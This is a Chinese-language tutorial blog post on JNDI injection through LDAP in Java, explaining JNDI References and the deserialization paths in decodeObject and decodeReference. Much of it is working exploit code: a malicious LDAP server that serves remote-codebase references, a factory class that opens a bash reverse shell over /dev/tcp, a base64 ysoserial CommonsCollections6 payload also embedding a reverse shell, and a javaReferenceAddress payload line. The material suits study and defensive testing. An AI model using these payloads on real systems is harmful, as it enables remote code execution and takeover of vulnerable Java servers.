您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關JNDI中如何進行LDAP學習,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
在進入JNDI中LDAP學習前,先了解下其中涉及的相關知識
序列化對象
JNDI References
JNDI References
是類javax.naming.Reference
的Java對象。它由有關所引用對象的類信息和地址的有序列表組成。Reference
還包含有助于創建引用所引用的對象實例的信息。它包含該對象的Java類名稱,以及用于創建對象的對象工廠的類名稱和位置。在目錄中使用以下屬性:
objectClass: javaNamingReference javaClassName: Records the class name of the serialized object so that applications can determined class information without having to first deserialize the object. javaClassNames: Additional class information about the serialized object. javaCodebase: Location of the class definitions needed to instantiate the factory class. javaReferenceAddress: Multivalued optional attribute for storing reference addresses. javaFactory: Optional attribute for storing the object factory's fully qualified class name.
Marshalled 對象
Remote Location
LDAP(Lightweight Directory Access Protocol)輕量目錄訪問協議
先簡單描述下LDAP的基本概念,主要用于訪問目錄服務 用戶進行連接、查詢、更新遠程服務器上的目錄。
其中LDAP模型主要分布如下:
信息模型 信息模型主要是 條目 - Entry、屬性 - Attribute、值 - value Entry:目錄樹中的一個節點,每一個Entry描述了一個真實對象,即object class
命名模型
功能模型
安全模型 ......這些基礎可以看看LDAP的官方文檔
在利用前 可以先搭建一個ldap server,代碼來自mbechler
,稍微改動了下
package org.jndildap; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; /** * LDAP server implementation returning JNDI references * * @author mbechler * */ public class LdapSer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { int port = 1389; String url = "http://127.0.0.1/#Th4windObject"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "th4wind"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
LDAP存儲JAVA對象的方式如下:
Java 序列化
JDNI的References
Marshalled對象
Remote Location
其中可進行配合利用方式如下:
利用Java序列化
利用JDNI的References對象引用
LDAP可以為其中存儲的JAVA對象提供多種屬性,具體可參照官方說明,部分如下
其中在利用JNDI References時,此處主要使用的是javaCodebase
指定遠程url,在該url中包含惡意class,在JNDI中進行反序列化觸發。
在直接利用Java 序列化方法時,是利用javaSerializedData
屬性,當該屬性的value
值不為空時,會對該值進行反序列化處理,當本地存在反序列化利用鏈時,即可觸發。
攻擊流程 參照如下:借用下BlackHat2016
的圖
1、攻擊者提供一個LDAP
絕對路徑的url并賦予到可利用的JNDI
的lookup
方法中 這里直接部署一個LDAP Client
模擬被攻擊服務器應用即如下所示:
String uri = "ldap://127.0.0.1:1389/Th4windObject"; Context ctx = new InitialContext(); ctx.lookup(uri);
2、服務端訪問攻擊者構造或可控的LDAP Server
端,并請求到惡意的JNDI Reference
構造JNDI Reference
我的理解是此處的JNDI Reference
即為jndiReferenceEntry
根據前面提到的信息模型,這里的 構造的JNDI Reference
即構造Entry
即服務端代碼中的
Entry e = new Entry(base); ... ... e.addAttribute("javaClassName", "th4wind"); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef());
請求JNDI Reference
在被攻擊服務端中請求JNDI Reference
用lookup
即可直接請求上,但我們這里還是跟下看下在lookup中哪部分代碼請求并利用
在lookup 獲取Entry后,一路傳參 到c_lookup:
在doSearchOnce
中發起對傳入的url
發起請求,獲取對應的Entry
同樣在該c_lookup
中判斷javaclassname
、javaNamingReference
不為空的時候進行decodeObject
處理
在decodeObject
中重新生成一個reference
,后續通過Naming Manager
進行載入執行惡意class
文件,剩下這部分內容是JNDI的調用邏輯了,跟LDAP關系不大,這里不多做討論,大概流程圖如下:
3、服務端decode
請求到的惡意JNDI Reference
4、服務端從攻擊者構造的惡意Server
請求并實例化Factory class
即此處開放的http請求下的Th4windObject
import java.lang.Runtime; import java.lang.Process; public class Th4windObject { public Th4windObject(){ try{ Runtime rt = Runtime.getRuntime(); //Runtime.getRuntime().exec("bash -i >& /dev/tcp/127.0.0.1/8550 0>&1"); //String[] commands = {"/bin/bash", "-c", "'/bin/bash -i >& /dev/tcp/127.0.0.1/8550 0>&1'"}; String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/127.0.0.1/8550;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process pc = rt.exec(commands); //System.out.println(commands); pc.waitFor(); }catch(Exception e){ e.printStackTrace(); System.out.println("2222"); } } public static void main(String[] argv){ Th4windObject e = new Th4windObject(); } }
5、執行payloads
該方法不常用,此處暫不多做討論
JNDI對通過LDAP傳輸的Entry屬性中的 序列化處理有兩處
一處在于前面所說的decodeObject
對javaSerializedData
屬性的處理
一處在于decodeReference
函數在對普通的Reference
還原的基礎上,還可以進一步對RefAddress
做還原處理
前文有提到,根據javaSerializedData
不為空的情況,decodeObject
會對對應的字段進行反序列化。即此處在惡意LDAP Server端中增加該屬性
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm 9ybWVyO3hwc3IAOm 9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh3kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm 9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AEEvYmluL2Jhc2ggLWMgYmFzaCR7SUZTfS1pJHtJRlN9PiYke0lGU30vZGV2L3RjcC8xMjcuMC 4wLjEvODU1MDwmMXQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh5") );
這里的payload出于偷懶,直接用ysoserial.jar
利用CommonsCollections6
生成 此處的CommonsCollections6
即前面所說存在的本地反序列化漏洞利用鏈,所以在調用的LDAPClient
本地得導入commons-collections
,我這里使用的是3.2.1版本
通過該利用方法可以不用惡意web服務,攻擊示意圖如下:即
攻擊者提供一個LDAP絕對路徑的url并賦予到可利用的JNDI的lookup
方法中
服務端訪問攻擊者構造或可控的LDAP Server端,并請求到惡意的JNDI Reference
服務端 decode請求到的惡意JNDI Reference
并在decode中進行反序列化處理
調用鏈如下:
先來一張調用鏈的圖
在該調用方式中,該可用于反序列化的屬性為javaReferenceAddress
,payload如下:
e.addAttribute("javaReferenceAddress", "$1$String$$"+new BASE64Encoder().encode(serialized));
在Reference decodeReference
對該屬性進行處理時對處理字符串有條件要求: 首先要求javaSerializedData
為空其次要求javaRemoteLocation
為空
在進入decodeReference
中進行字符串處理要求如下: 必備屬性:
javaClassName javaReferenceAddress
校驗javafactory
是否存在
在對javaReferenceAddress
處理流程如下:
第一個字符為分隔符;
第一個分隔符與第二個分隔符之間,表示Reference的position,為int類型,也就是這個位置必須是數字;
第二個分隔符與第三個分隔符之間,表示type類型;
檢測第三個分隔符后是否有第四個分隔符即雙分隔符的形式,是則進入反序列化的操作;
序列化數據用base64編碼,所以在序列化前會進行一次base64解碼。
關于JNDI中如何進行LDAP學習就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。